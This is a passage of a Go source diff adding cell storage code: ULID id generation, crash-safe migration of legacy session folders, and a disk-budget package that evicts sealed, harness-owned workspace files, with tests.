sortable, no I L O U. +const crockford = "0123456789ABCDEFGHJKMNPQRSTVWXYZ" + +var ulidShape = regexp.MustCompile(`^[0-7][0-9A-HJKMNP-TV-Z]{25}$`) + +// NewID returns a ULID: 48 bits of unix milliseconds then 80 random bits, +// encoded as 26 Crockford base32 characters. Ids sort by creation time. +func NewID(now time.Time) (string, error) { + var raw [16]byte + ms := uint64(now.UnixMilli()) + for i := 0; i < 6; i++ { + raw[i] = byte(ms >> (8 * (5 - i))) + } + if _, err := rand.Read(raw[6:]); err != nil { + return "", fmt.Errorf("cell id: %w", err) + } + return encode128(raw), nil +} + +// encode128 writes 128 bits as 26 five-bit groups, most significant first; +// the first group carries only 3 bits. +func encode128(raw [16]byte) string { + out := make([]byte, 26) + var acc, bits uint + pos := 25 + for i := 15; i >= 0; i-- { + acc |= uint(raw[i]) << bits + bits += 8 + for bits >= 5 && pos >= 0 { + out[pos] = crockford[acc&31] + pos-- + acc >>= 5 + bits -= 5 + } + } + if pos == 0 { + out[0] = crockford[acc&31] + } + return string(out) +} + +// ValidID reports whether id has the shape of a ULID. Open relies on it so an +// id can never name a path outside the cells directory. +func ValidID(id string) bool { return ulidShape.MatchString(id) } + +// newKeyID is 16 random bytes as 32 hex characters (SCHEMAS.md §4). +func newKeyID() (string, error) { + var b [16]byte + if _, err := rand.Read(b[:]); err != nil { + return "", fmt.Errorf("cell key id: %w", err) + } + return hex.EncodeToString(b[:]), nil +} diff --git a/internal/cell/meta.go b/internal/cell/meta.go new file mode 100644 index 0000000000..f69710d604 --- /dev/null +++ b/internal/cell/meta.go @@ -0,0 +1,57 @@ +package cell + +import ( + "encoding/hex" + "fmt" +) + +// Class is declared per cell, never detected (SCHEMAS.md §4). +type Class string + +const ( + FilesOnly Class = "files-only" + Sandboxed Class = "sandboxed" + HostBound Class = "host-bound" +) + +var knownClasses = map[Class]bool{FilesOnly: true, Sandboxed: true, HostBound: true} + +// Base is where a fetch optimization may come from. Remote never carries +// credentials. +type Base struct { + Remote string `json:"remote,omitempty"` + SHA string `json:"sha,omitempty"` +} + +// Meta is .cell/meta.json. V is first so readers can branch on it. +type Meta struct { + V uint16 `json:"V"` + Class Class `json:"class"` + CellKeyID string `json:"cell_key_id"` + Base *Base `json:"base,omitempty"` +} + +func (o Options) meta() (Meta, error) { + if o.KeyID == "" { + id, err := newKeyID() + if err != nil { + return Meta{}, err + } + o.KeyID = id + } + m := Meta{V: schemaV, Class: o.Class, CellKeyID: o.KeyID, Base: o.Base} + return m, m.validate() +} + +func (m Meta) validate() error { + if m.V != schemaV { + return fmt.Errorf("%w: version %d", errBadMeta, m.V) + } + if !knownClasses[m.Class] { + return fmt.Errorf("%w: class %q", errBadMeta, m.Class) + } + if raw, err := hex.DecodeString(m.CellKeyID); err != nil || len(raw) != 16 { + return fmt.Errorf("%w: cell_key_id must be 32 hex chars", errBadMeta) + } + return nil +} diff --git a/internal/cell/migrate.go b/internal/cell/migrate.go new file mode 100644 index 0000000000..b352a66f55 --- /dev/null +++ b/internal/cell/migrate.go @@ -0,0 +1,170 @@ +package cell + +import ( + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "os" + "path/filepath" +) + +// legacyTranscript is where a legacy session folder keeps its journal. +const legacyTranscript = "transcript.jsonl" + +// stagingDir is where a migration builds .cell before it appears. It is +// inside the folder, so the final rename never crosses a filesystem. +const stagingDir = ".cell-staging" + +// MigrateLegacy turns a legacy session folder into a cell in place. The +// folder keeps its name, so a session keeps its id. The truth moves into .cell/ +// with the journal (internal/session/layout.go): state.json, tasks.json, +// team.json, tasks/ (node journals) and the truth half of the session meta. +// trees/ (git worktrees, which record absolute paths) and the derived files +// (meta.json summary, card.json) stay where they are. What appears is .cell/ +// with those, an env/ directory and a meta.json that holds no absolute path. +// +// Every step leaves a folder that opens, and a second call finishes whatever a +// first one left: +// +// 1. .cell is built under [stagingDir]. The folder is still legacy: a crash +// leaves a directory nobody reads, and the next call replaces it. +// 2. The journal is hard-linked into the staged .cell, so both names are one +// file: a window still holding the old name keeps writing the same bytes. +// 3. One rename moves the staged .cell into place. The folder is a cell now +// and its journal is where the cell layout looks. +// 4. The legacy name is removed. A crash before this leaves a second name for +// the same file, which the next call removes. +// +// Each Carrier does the same for one more kind of truth (state, tasks, the +// truth half of meta): it stages a copy in step 2, and clears the legacy +// original in step 4, so every crash point opens and a second call finishes. +// +// A folder that is already a cell, or holds no journal, is left as it is. +func MigrateLegacy(dir string, carry ...Carrier) error { + carry = append([]Carrier{Files(legacyTranscript)}, carry...) + if isCell(dir) { + return finish(dir, carry) + } + if _, err := os.Stat(filepath.Join(dir, legacyTranscript)); err != nil { + return ignoreMissing(err) + } + if err := stageCell(dir, carry); err != nil { + return fmt.Errorf("migrate %s: %w", filepath.Base(dir), err) + } + if err := fsreplace.Rename(filepath.Join(dir, stagingDir, StateDir), filepath.Join(dir, StateDir)); err != nil { + return fmt.Errorf("migrate %s: %w", filepath.Base(dir), err) + } + return finish(dir, carry) +} + +// finish clears what a migration leaves once .cell is in place. +func finish(dir string, carry []Carrier) error { + if err := os.RemoveAll(filepath.Join(dir, stagingDir)); err != nil { + return err + } + for _, c := range carry { + if err := c.Clear(dir); err != nil { + return err + } + } + return nil +} + +// stageCell builds a complete .cell for dir under the staging directory. +func stageCell(dir string, carry []Carrier) error { + stage := filepath.Join(dir, stagingDir) + if err := os.RemoveAll(stage); err != nil { + return err + } + // A legacy session already ran its tools on the host; declaring it + // anything narrower would refuse or cut off the work it was doing. + m, err := Options{Class: HostBound}.meta() + if err != nil { + return err + } + c := Cell{Root: stage} + if err := os.MkdirAll(c.abs(EnvPath), 0o700); err != nil { + return err + } + if err := c.WriteMeta(m); err != nil { + return err + } + for _, k := range carry { + if err := k.Stage(dir, c); err != nil { + return err + } + } + return nil +} + +// Carrier moves one kind of session truth from a legacy folder into its cell. +type Carrier interface { + // Stage puts a copy of the truth into the staged cell c. The legacy folder + // is untouched. + Stage(dir string, c Cell) error + // Clear removes what the legacy folder still holds once .cell is in place. + // It is safe to call again, and on a folder that never had the truth. + Clear(dir string) error +} + +// Files carries whole files: each is hard-linked into .cell so both names are +// one file, and the legacy name goes once .cell holds it. A window still +// holding the old name keeps writing the same bytes; anything else at that +// name is not ours to remove. A file the folder does not have is skipped. +func Files(names ...string) Carrier { return files(names) } + +type files []string + +func (f files) Stage(dir string, c Cell) error { + for _, name := range f { + err := os.Link(filepath.Join(dir, name), filepath.Join(c.Root, StateDir, name)) + if err := ignoreMissing(err); err != nil { + return err + } + } + return nil +} + +func (f files) Clear(dir string) error { + for _, name := range f { + if err := dropLegacyName(dir, name); err != nil { + return err + } + } + return nil +} + +// dropLegacyName settles one legacy name. A cell that lacks the file (made +// before it was carried) adopts it; one that holds the same file loses the +// legacy name. +func dropLegacyName(dir, name string) error { + legacy, kept := filepath.Join(dir, name), filepath.Join(dir, StateDir, name) + old, err := os.Stat(legacy) + if err != nil { + return ignoreMissing(err) + } + held, err := os.Stat(kept) + if errors.Is(err, fs.ErrNotExist) { + if err := os.MkdirAll(filepath.Dir(kept), 0o700); err != nil { + return err + } + return fsreplace.Rename(legacy, kept) + } + if err != nil || !os.SameFile(old, held) { + return err + } + return ignoreMissing(os.Remove(legacy)) +} + +func isCell(dir string) bool { + info, err := os.Stat(filepath.Join(dir, StateDir)) + return err == nil && info.IsDir() +} + +func ignoreMissing(err error) error { + if errors.Is(err, fs.ErrNotExist) { + return nil + } + return err +} diff --git a/internal/cell/migrate_test.go b/internal/cell/migrate_test.go new file mode 100644 index 0000000000..7a7c51a826 --- /dev/null +++ b/internal/cell/migrate_test.go @@ -0,0 +1,134 @@ +package cell + +import ( + "os" + "path/filepath" + "regexp" + "testing" +) + +// carried is what the interrupted-state tests stage: the journal and one more file. +var carried = []Carrier{Files(legacyTranscript, "state.json")} + +const journal = "{\"v\":1}\n{\"role\":\"user\"}\n" + +func legacyDir(t *testing.T) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "0123456789abcdef") + if err := os.MkdirAll(filepath.Join(dir, "tasks"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "transcript.jsonl"), []byte(journal), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "state.json"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + return dir +} + +func wantMigrated(t *testing.T, dir string) { + t.Helper() + got, err := os.ReadFile(filepath.Join(dir, TranscriptPath)) + if err != nil || string(got) != journal { + t.Fatalf("cell transcript = %q, %v", got, err) + } + if got, err := os.ReadFile(filepath.Join(dir, StateDir, "state.json")); err != nil || string(got) != "{}\n" { + t.Fatalf("carried file = %q, %v", got, err) + } + for _, gone := range []string{"transcript.jsonl", "state.json", stagingDir} { + if _, err := os.Stat(filepath.Join(dir, gone)); !os.IsNotExist(err) { + t.Errorf("%s left behind: %v", gone, err) + } + } + raw, err := os.ReadFile(filepath.Join(dir, MetaPath)) + if err != nil { + t.Fatal(err) + } + if regexp.MustCompile(`"/[^"]`).Match(raw) { + t.Fatalf("absolute path in meta: %s", raw) + } + if !regexp.MustCompile(`"` + string(HostBound) + `"`).Match(raw) { + t.Errorf("migrated class is not %s: %s", HostBound, raw) + } + if _, err := os.Stat(filepath.Join(dir, EnvPath)); err != nil { + t.Errorf("env/: %v", err) + } + if _, err := os.Stat(filepath.Join(dir, "tasks")); err != nil { + t.Errorf("tasks/: %v", err) + } +} + +func TestMigrateLegacy(t *testing.T) { + dir := legacyDir(t) + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + first, _ := os.ReadFile(filepath.Join(dir, MetaPath)) + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + if again, _ := os.ReadFile(filepath.Join(dir, MetaPath)); string(again) != string(first) { + t.Fatal("second run rewrote meta") + } +} + +// Each test below stops the migration where a crash could, then checks the +// folder still reads its journal and that a second call finishes the job. +func TestMigrateInterruptedStates(t *testing.T) { + for name, stop := range map[string]func(t *testing.T, dir string){ + "after staging": func(t *testing.T, dir string) { + if err := stageCell(dir, carried); err != nil { + t.Fatal(err) + } + }, + "after the rename": func(t *testing.T, dir string) { + if err := stageCell(dir, carried); err != nil { + t.Fatal(err) + } + if err := os.Rename(filepath.Join(dir, stagingDir, StateDir), filepath.Join(dir, StateDir)); err != nil { + t.Fatal(err) + } + }, + } { + t.Run(name, func(t *testing.T) { + dir := legacyDir(t) + stop(t, dir) + if got, err := os.ReadFile(journalPath(dir)); err != nil || string(got) != journal { + t.Fatalf("journal = %q, %v", got, err) + } + if err := MigrateLegacy(dir, Files("state.json")); err != nil { + t.Fatal(err) + } + wantMigrated(t, dir) + }) + } +} + +// journalPath is where a reader looks: the cell's journal when the folder is a +// cell, the top-level one otherwise. +func journalPath(dir string) string { + if isCell(dir) { + return filepath.Join(dir, TranscriptPath) + } + return filepath.Join(dir, "transcript.jsonl") +} + +func TestMigrateLeavesOtherFolders(t *testing.T) { + empty := t.TempDir() + if err := MigrateLegacy(empty); err != nil { + t.Fatal(err) + } + if isCell(empty) { + t.Fatal("a folder with no journal became a cell") + } + c, err := Create(t.TempDir(), Options{Class: FilesOnly}) + if err != nil { + t.Fatal(err) + } + if err := MigrateLegacy(c.Root); err != nil { + t.Fatal(err) + } +} diff --git a/internal/cell/tree.go b/internal/cell/tree.go new file mode 100644 index 0000000000..4b5bf67e2d --- /dev/null +++ b/internal/cell/tree.go @@ -0,0 +1,83 @@ +package cell + +import ( + "errors" + "io/fs" + "os" + "path/filepath" + "syscall" +) + +// Tree carries whole directories, one file at a time, on the same terms as +// [Files]: each file is hard-linked into .cell so both names are one file, and +// the legacy name goes once .cell holds it. A file a window creates in the +// legacy directory after the link is adopted by rename when the folder is +// cleared, so no crash point loses one. The legacy directory goes when it is +// empty. A directory the folder does not have is skipped. +func Tree(names ...string) Carrier { return trees(names) } + +type trees []string + +func (t trees) Stage(dir string, c Cell) error { + return t.each(dir, func(rel string) error { + to := filepath.Join(c.Root, StateDir, rel) + if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil { + return err + } + return os.Link(filepath.Join(dir, rel), to) + }) +} + +func (t trees) Clear(dir string) error { + if err := t.each(dir, func(rel string) error { return dropLegacyName(dir, rel) }); err != nil { + return err + } + for _, name := range t { + if err := removeEmptyTree(filepath.Join(dir, name)); err != nil { + return err + } + } + return nil +} + +// each calls visit with the path, relative to dir, of every regular file below +// each named directory. +func (t trees) each(dir string, visit func(rel string) error) error { + for _, name := range t { + err := filepath.WalkDir(filepath.Join(dir, name), func(path string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() { + return err + } + rel, err := filepath.Rel(dir, path) + if err != nil { + return err + } + return visit(rel) + }) + if err := ignoreMissing(err); err != nil { + return err + } + } + return nil +} + +// removeEmptyTree removes root and every directory below it that holds nothing, +// deepest first, and leaves the rest. +func removeEmptyTree(root string) error { + entries, err := os.ReadDir(root) + if err != nil { + return ignoreMissing(err) + } + for _, e := range entries { + if e.IsDir() { + if err := removeEmptyTree(filepath.Join(root, e.Name())); err != nil { + return err + } + } + } + err = os.Remove(root) + if errors.Is(err, syscall.ENOTEMPTY) { + return nil + } + return ignoreMissing(err) +} diff --git a/internal/cellbudget/budget_test.go b/internal/cellbudget/budget_test.go new file mode 100644 index 0000000000..8075903543 --- /dev/null +++ b/internal/cellbudget/budget_test.go @@ -0,0 +1,305 @@ +package cellbudget + +import ( + "context" + "crypto/sha256" + "io/fs" + "os" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +var ctx = context.Background() + +// rig is a manager over the real engine, with a clock the test moves and a +// busy set the test edits. It skips when no engine binary resolves. +type rig struct { + t *testing.T + m Manager + busy map[string]bool + now time.Time + dirs string + work map[string]string // cell id -> the workspace its seals cover + bin string +} + +func newRig(t *testing.T, limit int64) *rig { + t.Helper() + bin, err := furrow.ResolveBinary() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + r := &rig{t: t, busy: map[string]bool{}, now: time.Now(), dirs: t.TempDir(), work: map[string]string{}, bin: bin} + r.m = New(cellstore.Engine{Binary: bin, DataRoot: filepath.Join(r.dirs, "stores")}, + func(c cell.Cell) string { return r.work[c.ID] }, + func(c cell.Cell) bool { return r.busy[c.ID] }) + r.m.Limit = limit + r.m.Now = func() time.Time { return r.now } + return r +} + +// cell makes a sealed cell whose workspace is its own work/ folder holding one +// file of n bytes, opened at the rig's current time, then moves the clock past +// the just-opened grace. +func (r *rig) cell(name string, n int) cell.Cell { + r.t.Helper() + c := r.newCell() + return r.seal(c, filepath.Join(c.Root, "work"), name, n) +} + +// yours is the same cell over a project folder outside it. +func (r *rig) yours(name string, n int) (cell.Cell, string) { + r.t.Helper() + c, dir := r.newCell(), r.t.TempDir() + return r.seal(c, dir, name, n), dir +} + +func (r *rig) newCell() cell.Cell { + c, err := cell.CreateIn(filepath.Join(r.dirs, "cells"), cell.Options{Class: cell.Sandboxed}) + if err != nil { + r.t.Fatal(err) + } + return c +} + +func (r *rig) seal(c cell.Cell, workspace, name string, n int) cell.Cell { + r.work[c.ID] = workspace + write(r.t, filepath.Join(workspace, name), strings.Repeat("x", n)) + write(r.t, filepath.Join(workspace, "src", "deep", "f.txt"), name) + write(r.t, filepath.Join(c.Root, cell.TranscriptPath), `{"role":"user"}`+"\n") + engine := cellstore.EngineFor(workspace) + engine.Binary, engine.DataRoot = r.bin, r.m.Engine.DataRoot + if _, err := engine.Seal(ctx, c, cellstore.TurnInfo{Trigger: cellstore.AgentRun}); err != nil { + r.t.Fatal(err) + } + if err := r.m.Open(ctx, c); err != nil { + r.t.Fatal(err) + } + r.now = r.now.Add(time.Hour) + return c +} + +func write(t *testing.T, path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func (r *rig) collect() Report { + r.t.Helper() + rep, err := r.m.Collect(ctx, false) + if err != nil { + r.t.Fatal(err) + } + return rep +} + +func (r *rig) outcomes(rep Report) map[string]Outcome { + out := map[string]Outcome{} + for _, a := range rep.Actions { + out[a.ID] = a.Outcome + } + return out +} + +// digest lists every path with its mode and content hash, .git and .furrow aside. +func digest(t *testing.T, root string) string { + t.Helper() + var lines []string + err := filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error { + rel, _ := filepath.Rel(root, p) + if err != nil || rel == "." { + return err + } + if rel == ".git" || rel == ".furrow" { + return fs.SkipDir + } + info, _ := d.Info() + sum := [8]byte{} + if !d.IsDir() { + raw, _ := os.ReadFile(p) + h := sha256.Sum256(raw) + copy(sum[:], h[:8]) + } + lines = append(lines, rel+" "+info.Mode().String()+" "+string(sum[:])) + return nil + }) + if err != nil { + t.Fatal(err) + } + sort.Strings(lines) + return strings.Join(lines, "\n") +} + +func TestEvictThenOpenRestoresByteIdentical(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + grown := filepath.Join(c.Root, cell.TranscriptPath) + write(t, grown, `{"role":"user"}`+"\n"+`{"role":"assistant"}`+"\n") // grew after the seal + work := r.work[c.ID] + want, wantCell := digest(t, work), digest(t, c.Root) + + rep := r.collect() + if r.outcomes(rep)[c.ID] != Evicted { + t.Fatalf("not evicted: %+v", rep) + } + left, _ := os.ReadDir(work) + for _, e := range left { + if !kept[e.Name()] { + t.Fatalf("working file %q survived eviction", e.Name()) + } + } + if err := r.m.Open(ctx, c); err != nil { + t.Fatal(err) + } + if got := digest(t, work); got != want { + t.Fatalf("reopened tree differs.\nwant:\n%s\ngot:\n%s", want, got) + } + if got := digest(t, c.Root); got != wantCell { + t.Fatalf("the cell's own folder changed.\nwant:\n%s\ngot:\n%s", wantCell, got) + } +} + +func TestYourFolderIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + c, dir := r.yours("big", 4096) // opened first, so considered first + mine := r.cell("big", 4096) + want := digest(t, dir) + dry, err := r.m.Collect(ctx, true) + if err != nil || r.outcomes(dry)[mine.ID] != WouldEvict { + t.Fatalf("dry run: %+v %v", dry, err) + } + if a := dry.Actions[0]; a.ID != c.ID || a.Outcome != Skipped || a.Why != "workspace is yours" { + t.Fatalf("dry run must say why: %+v", a) + } + if got := r.outcomes(r.collect()); got[c.ID] != Skipped || got[mine.ID] != Evicted { + t.Fatalf("outcomes: %v", got) + } + if got := digest(t, dir); got != want { + t.Fatalf("your folder changed.\nwant:\n%s\ngot:\n%s", want, got) + } +} + +func TestYourFolderDoesNotCountAgainstTheBudget(t *testing.T) { + r := newRig(t, 6000) + r.yours("huge", 1<<20) + mine := r.cell("a", 4096) + rep := r.collect() + if rep.Total >= 1<<20 { + t.Fatalf("a folder of yours was counted: %+v", rep) + } + if got := r.outcomes(rep); len(got) != 0 { + t.Fatalf("under budget, nothing to do: %v (%s)", got, mine.ID) + } +} + +func TestRunningCellIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + r.busy[c.ID] = true + rep := r.collect() + if r.outcomes(rep)[c.ID] != Skipped || rep.Actions[0].Why != "running" { + t.Fatalf("running cell was not skipped: %+v", rep) + } + if _, err := os.Stat(filepath.Join(r.work[c.ID], "big")); err != nil { + t.Fatal("running cell lost its files") + } +} + +func TestUnsealedCellIsNeverEvicted(t *testing.T) { + r := newRig(t, 1) + never := r.cell("never", 4096) + if err := os.Remove(filepath.Join(never.Root, cellstore.TurnsPath)); err != nil { + t.Fatal(err) + } + pending := r.cell("pending", 4096) + wal, _, err := cellstore.OpenWAL(r.m.Engine.WALPath(pending)) + if err != nil { + t.Fatal(err) + } + if err := wal.Begin(cellstore.Intent{V: 1, Tool: "bash", ArgsHash: "h", Started: 1}); err != nil { + t.Fatal(err) + } + got := r.outcomes(r.collect()) + if got[never.ID] != Skipped || got[pending.ID] != Skipped { + t.Fatalf("unsealed cells must be skipped: %v", got) + } +} + +func TestEvictionIsLeastRecentlyOpenedFirst(t *testing.T) { + r := newRig(t, 6000) + oldest, middle, newest := r.cell("a", 4096), r.cell("b", 4096), r.cell("c", 4096) + if err := r.m.Open(ctx, oldest); err != nil { // reopening makes it the newest + t.Fatal(err) + } + r.now = r.now.Add(time.Hour) + got := r.outcomes(r.collect()) + if got[middle.ID] != Evicted || got[newest.ID] != Evicted || len(got) != 2 { + t.Fatalf("want the two least recently opened evicted, got %v", got) + } + _ = oldest +} + +func TestJustOpenedCellIsProtected(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + if err := r.m.Open(ctx, c); err != nil { + t.Fatal(err) + } + if got := r.outcomes(r.collect()); got[c.ID] != Skipped { + t.Fatalf("a cell opened this instant was evicted: %v", got) + } +} + +func TestDryRunChangesNothing(t *testing.T) { + r := newRig(t, 1) + c := r.cell("big", 4096) + rep, err := r.m.Collect(ctx, true) + if err != nil || r.outcomes(rep)[c.ID] != WouldEvict { + t.Fatalf("dry run: %+v %v", rep, err) + } + if _, err := os.Stat(filepath.Join(r.work[c.ID], "big")); err != nil { + t.Fatal("dry run removed files") + } +} + +func TestUnderBudgetMeasuresOnceAndTouchesNothing(t *testing.T) { + r := newRig(t, 1<<30) + c := r.cell("big", 4096) + first := r.collect() + if len(first.Actions) != 0 || first.Total < 4096 { + t.Fatalf("under budget: %+v", first) + } + dir := r.m.Engine.LocalDir(c) + before, _ := readEntry(dir) + r.collect() + if after, _ := readEntry(dir); after.MeasuredMs != before.MeasuredMs { + t.Fatal("size was measured again although the transcript had not moved") + } +} + +func TestLimitReadsTheSetting(t *testing.T) { + t.Setenv(BudgetEnv, "3") + if Limit() != 3<<30 { + t.Fatalf("limit %d", Limit()) + } + t.Setenv(BudgetEnv, "0") + if Limit() != 0 { + t.Fatal("0 must mean no limit") + } + t.Setenv(BudgetEnv, "junk") + if Limit() != defaultGiB<<30 { + t.Fatal("junk must fall back to the default") + } +} diff --git a/internal/cellbudget/collect.go b/internal/cellbudget/collect.go new file mode 100644 index 0000000000..e53aaf6d34 --- /dev/null +++ b/internal/cellbudget/collect.go @@ -0,0 +1,207 @@ +package cellbudget + +import ( + "context" + "errors" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/env" +) + +// BudgetEnv is the one setting: the disk the working files of all cells may +// use, in GiB, fractions allowed. 0 means no limit. +const BudgetEnv = "CODEAF_CELL_BUDGET_GB" + +const defaultGiB = 20 + +// Limit is the budget in bytes; 0 means unlimited. An unreadable value is the +// default rather than an error, so a typo cannot disable the budget silently +// or refuse to start. +func Limit() int64 { + gib, err := strconv.ParseFloat(strings.TrimSpace(env.Get(BudgetEnv)), 64) + if err != nil || gib < 0 { + gib = defaultGiB + } + return int64(gib * (1 << 30)) +} + +// Outcome is what a sweep did, or would do, with one cell. +type Outcome string + +const ( + Evicted Outcome = "evicted" + WouldEvict Outcome = "would evict" + Skipped Outcome = "skipped" +) + +// Action is one cell's part of a sweep. Why is set for a skipped cell. +type Action struct { + ID string + Bytes int64 + Outcome Outcome + Paths []string + Why string +} + +// Report is a sweep's result. Total is what the cells held before it ran. +type Report struct { + Total, Limit int64 + Actions []Action +} + +// held is a cell found through its ledger. +type held struct { + cell cell.Cell + entry Entry +} + +// Collect brings the cells under the budget, least recently opened first. With +// dry set it checks a capture and reports paths without removing working files. +func (m Manager) Collect(ctx context.Context, dry bool) (Report, error) { + cells, err := m.measured() + if err != nil { + return Report{}, err + } + rep := Report{Total: total(cells), Limit: m.Limit} + if m.Limit <= 0 || rep.Total <= m.Limit { + return rep, nil + } + sort.Slice(cells, func(i, j int) bool { return cells[i].entry.OpenedMs < cells[j].entry.OpenedMs }) + over := rep.Total - m.Limit + for _, h := range cells { + if over <= 0 { + break + } + a := m.consider(ctx, h, dry) + rep.Actions = append(rep.Actions, a) + if a.Outcome != Skipped { + over -= a.Bytes + } + } + return rep, nil +} + +func total(cells []held) (n int64) { + for _, h := range cells { + n += h.entry.Bytes + } + return n +} + +func (m Manager) consider(ctx context.Context, h held, dry bool) Action { + a := Action{ID: h.cell.ID, Bytes: h.entry.Bytes} + skip := func(err error) Action { a.Outcome, a.Why = Skipped, err.Error(); return a } + if err := m.accepts(h); err != nil { + return skip(err) + } + paths, size, err := m.evictLocked(ctx, h, dry) + if err != nil { + return skip(err) + } + a.Paths, a.Bytes = paths, size + a.Outcome = Evicted + if dry { + a.Outcome = WouldEvict + } + return a +} + +func (m Manager) accepts(h held) error { + for _, r := range m.rules() { + if err := r(h.cell, h.entry); err != nil { + return err + } + } + return nil +} + +// evictLocked evicts under the cell's lock, judging the rules again there: +// the sweep's first look was without it. +func (m Manager) evictLocked(ctx context.Context, h held, dry bool) ([]string, int64, error) { + release, err := lock(m.Engine.LocalDir(h.cell), false) + if err != nil { + return nil, 0, err + } + defer release() + e, err := readEntry(m.Engine.LocalDir(h.cell)) + if err != nil { + return nil, 0, err + } + h.entry = e + if e.Evicted != nil { + return nil, 0, errors.New("already evicted") + } + if err := m.accepts(h); err != nil { + return nil, 0, err + } + return m.evict(ctx, h.cell, e, dry) +} + +// measured lists the cells that still hold their working files, each with a +// current size. A size is cached and re-measured only when the transcript +// moved after it was taken. +func (m Manager) measured() ([]held, error) { + dirs, err := os.ReadDir(m.Engine.Root()) + if errors.Is(err, os.ErrNotExist) { + return nil, nil + } + if err != nil { + return nil, err + } + var out []held + for _, d := range dirs { + if h, ok := m.load(filepath.Join(m.Engine.Root(), d.Name()), d.Name()); ok { + out = append(out, h) + } + } + return out, nil +} + +// load reads one ledger and refreshes its size. A cell that is gone, evicted or +// unmeasurable is not part of the total. +func (m Manager) load(dir, id string) (held, bool) { + e, err := readEntry(dir) + if err != nil || e.Root == "" || e.Evicted != nil { + return held{}, false + } + c, err := cell.OpenAt(e.Root, id) + if err != nil { + return held{}, false + } + if e, err = m.refreshed(dir, c, e); err != nil { + return held{}, false + } + return held{cell: c, entry: e}, true +} + +func (m Manager) refreshed(dir string, c cell.Cell, e Entry) (Entry, error) { + if !m.stale(c, e) { + return e, nil + } + n, err := m.held(c) + if err != nil { + return e, err + } + e.Bytes, e.MeasuredMs = n, m.nowMs() + return e, writeEntry(dir, e) +} + +// held is what eviction would free from the cell: the size of a workspace the +// harness owns. A person's folder is never walked and never counted. +func (m Manager) held(c cell.Cell) (int64, error) { + dir := m.Workspace(c) + if !harnessOwned(c, dir) { + return 0, nil + } + return workingSize(dir) +} + +func (m Manager) stale(c cell.Cell, e Entry) bool { + info, err := os.Stat(filepath.Join(c.Root, cell.TranscriptPath)) + return e.MeasuredMs == 0 || err != nil || info.ModTime().UnixMilli() > e.MeasuredMs +} diff --git a/internal/cellbudget/doc.go b/internal/cellbudget/doc.go new file mode 100644 index 0000000000..20c3dc9621 --- /dev/null +++ b/internal/cellbudget/doc.go @@ -0,0 +1,26 @@ +// Package cellbudget keeps the device's disk a cache of the cells' stores +// (docs/ARCHITECTURE.md 10). A cell that is finished, idle and fully sealed +// may have the working files of its sealed workspace removed, but only when +// that workspace is the harness's own, a folder inside the cell's. A person's +// project folder is never evicted. The engine's attach markers stay, plus a +// pointer naming the snapshot and the entries it can restore exactly. Opening the cell +// writes the files back byte for byte. +// +// WHERE SEALED CONTENT LIVES is the [Vault] interface. Stage 0 backs it with +// the local engine store (cellstore.Engine); stage 1 backs it with a bucket, +// and the policy below does not change. +// +// THE POLICY, ONE SENTENCE PER PART: +// +// - The budget is one setting, [BudgetEnv], in GiB; 0 means no limit. +// - Every cell has a device-local ledger (ledger.go): last opened, measured +// size, and the pointer when evicted. Sizes are cached; a tree is walked +// again only when the cell's transcript moved after the last measure. +// - Only explicit Collect starts eviction. Over budget, cells are evicted least recently opened first, and a cell +// is passed over unless every [Rule] accepts it: idle, not just opened, +// its workspace the harness's own, and sealed with nothing pending in the call log. +// - Eviction checks a restored capture, writes the pointer, then removes only +// matching top-level entries; excluded or partially captured entries stay. A +// crash in between leaves a pointer and a partial tree, and opening +// restores over it. +package cellbudget diff --git a/internal/cellbudget/ledger.go b/internal/cellbudget/ledger.go new file mode 100644 index 0000000000..d8dc218094 --- /dev/null +++ b/internal/cellbudget/ledger.go @@ -0,0 +1,85 @@ +package cellbudget + +import ( + "encoding/json" + "errors" + "io/fs" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/filelock" +) + +const ( + ledgerFile = "budget.json" + lockFile = "budget.lock" + schemaV = 1 +) + +// Pointer says where an evicted cell's working files went. +type Pointer struct { + Snapshot string `json:"snapshot"` + AtMs int64 `json:"at_ms"` + // Paths are the top-level names eviction removed, and so all a restore writes. + Paths []string `json:"paths"` +} + +// Entry is one cell's device-local ledger. V is first (L11). +type Entry struct { + V uint16 `json:"V"` + Root string `json:"root"` + OpenedMs int64 `json:"opened_ms"` + Bytes int64 `json:"bytes"` + MeasuredMs int64 `json:"measured_ms"` + Evicted *Pointer `json:"evicted,omitempty"` +} + +func readEntry(dir string) (Entry, error) { + raw, err := os.ReadFile(filepath.Join(dir, ledgerFile)) + if errors.Is(err, fs.ErrNotExist) { + return Entry{V: schemaV}, nil + } + if err != nil { + return Entry{}, err + } + var e Entry + return e, json.Unmarshal(raw, &e) +} + +func writeEntry(dir string, e Entry) error { + e.V = schemaV + raw, err := json.Marshal(e) + if err != nil { + return err + } + path := filepath.Join(dir, ledgerFile) + tmp := path + ".tmp" + if err := os.WriteFile(tmp, raw, 0o600); err != nil { + return err + } + return os.Rename(tmp, path) +} + +// 